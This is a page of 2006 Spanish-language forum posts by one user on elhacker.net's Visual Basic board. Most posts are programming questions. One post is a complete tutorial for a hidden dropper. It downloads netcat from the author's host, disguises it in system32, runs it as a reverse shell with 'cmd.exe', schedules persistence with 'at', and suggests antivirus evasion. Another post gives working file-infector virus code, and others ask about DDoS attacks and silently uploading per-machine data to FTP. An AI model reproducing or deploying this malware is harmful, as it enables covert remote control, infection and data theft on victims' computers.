elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: [1] 2 3
1  Programación / Programación Visual Basic / CSocketMaster en: 20 Agosto 2006, 15:31 pm
Buenas estoy con una aplicacion client/server que lleva el control winsock y para quitarle la dependencia estoy husando estos modulos CSocketMaster.cls &  modSocketMaster.bas, el control winsock del server quien quiero quitarle la dependencia no tiene index, luego hago esto en el general declaro:

Public WithEvents s As CSocketMaster

y n el form load:

Private Sub Form_Load()
Set S = New CSocketMaster..
....

a todos los Close añado: CloseSck

todo bien, compilo y listo, pero cuando corro l servidor en una maquina sin Mswinsck.ocx me bota error  :( diciendo que no se ha registrado correctamente o que es file esta perdido o es invalido, y me marca a la dichosa ocx... porque no me anda bien si lo he echo como he leido en foros, google...y nada  :(  :huh:

eso era todo, salu2.
'------------------------------MODIFICADO:--------------------------'

He probado ha cambiar los modulos por otros...y lo mismo..nada.
2  Programación / Programación Visual Basic / asycfilt.dll error en: 18 Agosto 2006, 18:14 pm
Buenas, pues tengo una aplicación que captura la pantala, usa winsock, cliente/servidor, pues cuando hace la primera captura o va por la tercer, aveces antes otras despues, pues se me cuelga y se tiene que cerrar error ... y me señala asycfilt.dll <--- esa dll no ce porque pasa esto, tb digo que no siempre pasa esto, alomejor unos dias que va bien y otros se me cae..solo cuando capturo la screen y ya dije marca esa dll..en el error grave, envio el informe y me dice que no hay solucion concreta para este problema..pues eso es todo, salu2.
3  Programación / Programación Visual Basic / Obtener shell por medio de un ejecutable!! en: 28 Julio 2006, 18:12 pm
Buenas, le dejo un codigo mio que lo que hace es esto: al ser ejecutado el .exe, nos deja el terreno listo para una conexion inversa con netcat ( reverse shell ), no se registra la app con windows, simplemente ya vereis que no nos hace falta, sino: llegar a meternos en el sistema, dejar los files necesarios y dejar todo listo para tener la reverse shell con netcat, ya si quiereris hacer modoficaciones pues para que se registre con windows, o cheke si es un winxp/2k y dependiendo el caso se registre en otro sistema, pues muy bien son ideas, pongo el codigo y comento cada linea, salu2 y espero que les sirva como ejemplo!! ;)

Declaraciones:

Código:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet

Option Explicit

en el evento load del formulario:

Código:
Private Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0 'descargamos netcat desde nuestro host y lo ponemos en c:\ , el netcat para que pase muchisimo más desapersivido, pasale themida ;), que aunque pese 1mb, lo estamos descagarndo desde vb, no via navegador ;) y al descarga es algo más rapida y no visible ni x ventanas sino talvez por algunos fws, pero vereis que la mayoria de veces el netcat llegara a buen puerto, nod32 x ejemplo no me detectaba.
End Sub

timer con el que copiamos netcat a system32 o a donde quieras..mejor a system32 ;) ; tiene un intervalo de 45000 y esta en enabled = true

Código:
Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub

el timer con el que vamos a ejecutar el nc con los parametros que queramos: ( de intervalo: 55000 y enabled = true )

Código:
Private Sub Timer_run_nc_Timer()
On Error Resume Next
Dim abrir As Long

URLDownloadToFile 0, "http://usuarios.lycos.es/TU_userNAME/wuauclt32.exe", "C:\wuauclt32.exe", 0, 0

abrir = ShellExecute(Me.hwnd, "Open", "C:\wuauclt32.exe", "", "", 1)
Timer_run_nc.Enabled = False
End Sub

pues lo que hace ese timer es tb descargar una app desde nuestro host y ejecutarla, que es esa aplicación ?? una app de no más de 2 lineas de codigo:

abrimos un nuevo projecto aparte de vb, y al form le damos esta propiedad: visible = false, un icono "camuflaje" y ya esta: luego en el form load:

Código:
on error resume next
Shell "cmd.exe  /c winnc -d -e cmd.exe túip puerto ", vbHide


y ya, compilamos con p-code paar que el peso sea lo más bajo posible, aunque ya lo va ser...fijate en que es mui poco el codigo..., luego subimos a nuestro host este ejecutable que sera quien ejecute nuestro netcat, tb Debes subir el netcat a tu host

tb decir que la otra aplicacion: la que vamos a enviar, ella se encarga de: descargar netcat, copiarlo ar directorio del sistema, descargar  la app que se encarga d ejecutarlo( en mi caso tiene este nombre:wuauclt32.exe  ) , pues esa tb tenemos que poner el formulario en visible = false, logico!!

y para los que querais tener la seguridad de tener esa maquina controlada con nuestro netcat, vamos a hacerle esto pues es opcional, puedes tb hacerlo desd la shell asi. at 20:30 /every:L,M,Mi,J,V,S,D winnc -d -e cmd.exe túip puerto   , con eso ya dejamos listo el netcat para que se ejecute con esa sintasis todos los dias de la semana ( L,M,Mi,J,V,S,D) a tal hora: 20:30 puse como ejemplo, podemos añadir mas horarios, las 24 horas de un día.

y de otro modo seria:

con un timer en nuestra app, más un bat ya programado con los horarios que queramos, ejemplo como puse: todos los dias ejecutamos netcat con esa sintasis, pero en ves de solo a las 20:30 , cada media hora: osea: 00:00, 00:30, 1:00, 1:30...y asi hasta que queramos, despues d tener el bat listo lo subimos a nuestro host.

Código:
timer_at_horarios_d_ejecución_Timer()
On Error Resume Next
Dim abrir As Long
URLDownloadToFile 0, "http://usuarios.lycos.es/tu_user/at.bat", "C:\at.bat", 0, 0

abrir = ShellExecute(Me.hWnd, "Open", "C:\at.bat", "", "", 1)

timer_at_horarios_d_ejecución.enabled = false
end sub

ese timer descarga de nuestro host un bat ya programado por nosotros anteriormente, con los horarios, dias y sintasis con las que se va a ejecutar netcat en nuestro sistema, de intervalo? ponle el que quieras: bueno mejor: minimo 1000( 1seg)

, luego si quieres podrias ponerle tb: para que se registre nuestra app con windows, que cheke si esun winxp o 2k y segun pues se copia y crea key con distintos nombres o no se copia etc, tb puedes, añadirle la funcion de que se agrege a la lista de programas permitidos por el fw d windows, tb con un bat que descarge nuestra app, tb ( ojo con esto ) desde que inicie la app con windows, x ejemplo porque no quieras iniciar el netcat con el comando at como explique, y pones timers date cuenta que en el proximo inicio d windows va a volver a ejeuctar todos los timers y repetir el mismo proceso..osea todo..descargar netcat, copiarlo...etc etc( segun lo que hayas puesto ) , pues para solucionar eso, basta con al final de cada timer como ejemplo pongo el primer timer:

Código:
Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1 
Timer_copync.Enabled = False
End Sub


con esto: Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1 

creamos un file en c:\ con ese nombre que nos va a servir para esto:

en el form:

Código:
Private Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0
   
If Dir("C:\chek_4_file_exist.xD") <> "" Then
        '
       Timer_copync.Enabled = False
       
    Else
       
        Timer_copync.Enabled = True
       
    End If

'ahora con ese codigo en el form le decimos que si ese archivo existe no ejecute el timer de nuevo y si el file no existe pues si ejecutamos el timer
End Sub

solo decir tambien que si hace eso, los timers que tengan esas funciones, de descargar files, ejecutar un file, copiarse a systemfolder etc, Debes ponerlos en enabled = FALSE, para que cuando cheke si existe o no ese file, pues lo ponga en TRUE o deje en FALSE, ya estamos terminando y ahora para los que diran bueno y cuando tenga la shell que hago?

pues usa el comando --->  help

nociones básicas; cd.. para bajar de directorio, cd para esclar a un directorio ejemplos: estamos en: c:\documents and settings\tuUser\mis documentos> y quieres llegar a.. C:\ pues haces esto: cd.. + enter y estaras en:c:\documents and settings\tuUser> cd.. = c:\documents and settings>cd.. = C:\ ;)

quieres escalar de c:\ a documents and settings x ejemplo ?? pues: c:\> cd documents and settings = c:\documents and settings>  , con eso ya podras moverte por los directorios y curiosear ya luego demas comandos vete practicandolos help y tienes la ayuda, comando /? su ayuda, ya veras que es fácil ;)

y para quienes digan vale muchas gracias..pero ahora como subo y bajo archivos ??  :huh:

fácil, te bajas el server TFTP d solarwinds.net ( es free ), lo instalas, configuras, selecionas una carpeta donde vamos a depositar los archivos que queramos subir y donde alojar las descargas y cuando ya lo tengas eso vamos con las sintasis para upload & download ( NOTA: Debes tener abierto el puerto: 69 udp y sino es asi..abrelo )

dsd la shell de la maquina X ejecutamos para un upload : tftp.exe -i túip GET "h4ack.bat" c:\h4ackRecibed.bat

para un download:

tftp.exe -i túip PUT c:\documents and settings\user_pc_XX\documentos\h4ck.jpg "recibido_n_mi_compu.jpg"

y eso es todo, si se me ha escapado algo o algun fallo lo comentan para correjirlo, espero que les guste este codectutorial o como lo quieran llamar xD, son solo ideas, practica, no hagan mal con esta información yo no lo he escrito para eso, salu2 ;) by AililiA
4  Programación / Programación Visual Basic / Colocar form segun tamaño de la screen en: 27 Julio 2006, 18:03 pm
buenas, pues ando en esas, necesito calcular el tamaño de cada monitor donde se ejecute mi aplicacion, para que muestre a la misma altura un formulario, osea que muestre tanto en un monitor de 15 pulgadas como en uno de 17 la aplicacion en el mismo sitio de la screen, ( 15 y 17 pulagadas lo puse como ejemplo de + y - ) pues eso es todo, salu2. ;)
5  Programación / Programación Visual Basic / Comprimir JPG!! en: 26 Julio 2006, 18:53 pm
buenas pues querria comprimir una imagen ya salvada en el hd con vb, tengo entendido que el cJpeg puede hacerlo...bajando la calidad de la imagen ejemplo: dim eje as new cjpeg
                                    eje.Quality = ... ( un número de 1 a 100)
             

                                pero no c con que parametro cargo una imagen exterña a la aplicación , x ejemplo tengo en c:\image32.jpg y quiero comprimirla con cjpeg, pero no se como cagarla: para luego: cambiarle la calidad y por último salvarla ya con menos calidad, menos peso, eso es todo, salu2 ;).
6  Programación / Programación Visual Basic / <Detectar WebCam con VB> en: 23 Julio 2006, 12:31 pm
Buenas, tengo un problema, necesito saber si hay una webcam instalada en un windows, no se que pasos he de seguir, pues bueno esa es la duda, muchas gracias y salu2 ;)
7  Programación / Programación Visual Basic / Infección de ejecutables !¡! en: 27 Junio 2006, 21:52 pm
 :huh: buenas, pues consigo infectar el archivo pero, cuando ejecuto el file infectado, se ejecuta correctamente sin haun haberlo regenerado..pero no ejecuta mi virus, segun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo  :-\ OK..pero entonces como carajo..lo infecto..y luego el husped se ejecuta  :-\..claro que el virus NO se ejecuta pero el husped si..bueno tengo un lio, pongo el codigo y lo comento, y me dicen porfavor si hay algo que no entiendo, pero bueno entiendo todo lo que es la funcion de infectar,  que no hay mas codigo x el momento, es un proyecto aparte para aprender este metodo de infecion.

Código:
Private Const PV = 12288  ' contstante donde meto el peso de mi virus
Option Explicit

Private Sub Form_Load()
infect ("C:\Packman.exe")  ' infect..la funcion..pakman + ruta..esta claro
End Sub

Private Sub Timer1_Timer()
MsgBox " soy el codigo del virus"         ' un timer...que no mas es d ejemplo
Me.Caption = "soy el caption del virus"
MsgBox " soy otra parte del codigo"
Me.Caption = "yo tb ;) "
End Sub

Private Function infect(fileainfectar As String) As Boolean
Dim buffer As String  ' una variable que la vamos a usar como buffer para almasenar el peso del husped
Dim viruspv As String




Open fileainfectar For Binary Access Read As #1  ' abrimos el file a infectar el huesped para leer dedatos
buffer = Space(LOF(1))  ' en la val, buffer le decimos LOF(1) = al peso del huesped
Get #1, , buffer   'leemos en el canal uno la variable buffer
Close #1 'cerramos

If (Right(buffer, 2) <> "xD") Then ' una condicion, le añadimos a buffer en los dos últimos bytes de la app una marka viral para saber si el file esta infectao y entonces infectarlo
MsgBox "el archivo no esta markado x lo tanto no esta infectado, vamos a infectarlo ;)"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #2  ' nos abrimos a nosotros mismo ( al virus en el canal2 )
viruspv = Space(PV)  ' en viruspv ( peso del virus ) metemos PV la constante k tiene todo nuestro peso
Get #2, , viruspv  'leemos los datos de la val, viruspv
Close #2 'ceramos


Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos

Else ' un else--.--
MsgBox " el file que queremos infectar tiene nuestra MARKA...esta infectado, provemos con otro ;)"

End If

End Function
8  Programación / Programación Visual Basic / <DDoS VB> en: 25 Junio 2006, 19:36 pm
Buenas, la duda es como, que necesito para realizar un ddos con vb, tengo entendido que es haciendo peticiones incansables x ejemplo a un servidor web, pero que tipo de peticiones  :huh: alguna en concreto  :huh: puedo hacerlo con un rango de hosts a los que quiero enviar esas peticiones  :huh: como seria mejor  :huh: unas cuantas dudas, más nada, slau2.
9  Programación / Programación Visual Basic / Tarea Programada !! en: 24 Junio 2006, 17:01 pm
Hola buenas, pues querria que mi aplicación en una fecha ( x lo menos ) y si se puede tb pues en una fecha y hora determinada ejecute un codigo ( el que sea, el que yo quiera ) , x ejemplo todos los 12 de Septiembre..descarge una imagen, la muestro, la elimino y reinicio la maquina, saben  :huh: esa es la idea, programar un tarea que se ejecute solo en una fecha  determinada.

PD: lo de bajar la imagen es tan solo un ejemplo podria ser cualquier cosa..un msgbox "hola, soy el dia..12 de Septiembre y he ejecutado la tarea que querias, bye bye" , otro ejemplo, osea en esa fecha ejecute un codigo con lo que me de la gana.

Seria como una tarea programada del windows no  :huh: Panel d control....tareas programaads..aglo asi, salu2.
10  Programación / Programación Visual Basic / probelam con un archivo!! en: 23 Junio 2006, 20:50 pm
 >:( hola pues, ave estoy haciendo una aplicacion: cuando se ejecuta, crea un file de texto con un nombre concreto, luegolo abre en binario y escribe en el una serie de datos y luego lo envia a un ftp.

El problema es: que en cada maquina q se ejecuta esta aplicación, va a crear siempre el mismo texto con el mismo nombre, pero con distintos datos..disntinta maquina..distintos datos..ok?, que ocurre que se me presenta el problema de que cuando este aplicacion aya corrido en mas de un computador, ya habra enviado data.txt 2 veces..al ftp..y en el ftp-.- ya habia un data.txt con otros datos..y claro cuando vaya a enviar otra maquina el segundo..tercero..4..data.txt..lo va a sobreescribir :( y perdere los datos anteriores, entonces lo que necesito es algun method para que cuando esta app se ejecute en una compu busque algun dato que en cada makina sea distinto y x ese dato le de otro nombre siempre distinto al text, entonces asi mi app enviaria x ejemplo : makina1 --> envia al ftp---> 00932.txt

makina2-----> envia al ftp---> zzl.txt

makina 3----> envia....y asi siempre, entonces tendria en el ftp todos esos archivos con distinto nombre y con lso datos de la maquina correspondiente. Tambien el problema se me presenta n como al methodo k uso para enviar los files al ftp le digo...en que ruta va a estar este file...y cual va a ser su nombre ...si el nombre lo genera como yo dije antes a partir de una serie de datos etc...bueno tengo un lio con esto..xke no se me ocurre ningun modo para hacerlo que no sea asi  :-[ 

PD: si se me ocurre uno...para conservalos todos...pero es este: estar constantemente vijilando la llegada de textos y en cuanto llegue uno sacarlo del ftp..y guardarlo en mi compu con otro nombre y asi con todos..pero la verdad es que seria...costoso..perdida de tiempo...frustrante etc etc de lo peor, bueno ese es el problema que alomejor alugno dira juaz..xke no lo hace asi ? pues porque me queda aun mucho por aprender y no se me ocurre otra mejor :) , salu2 ;) .
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines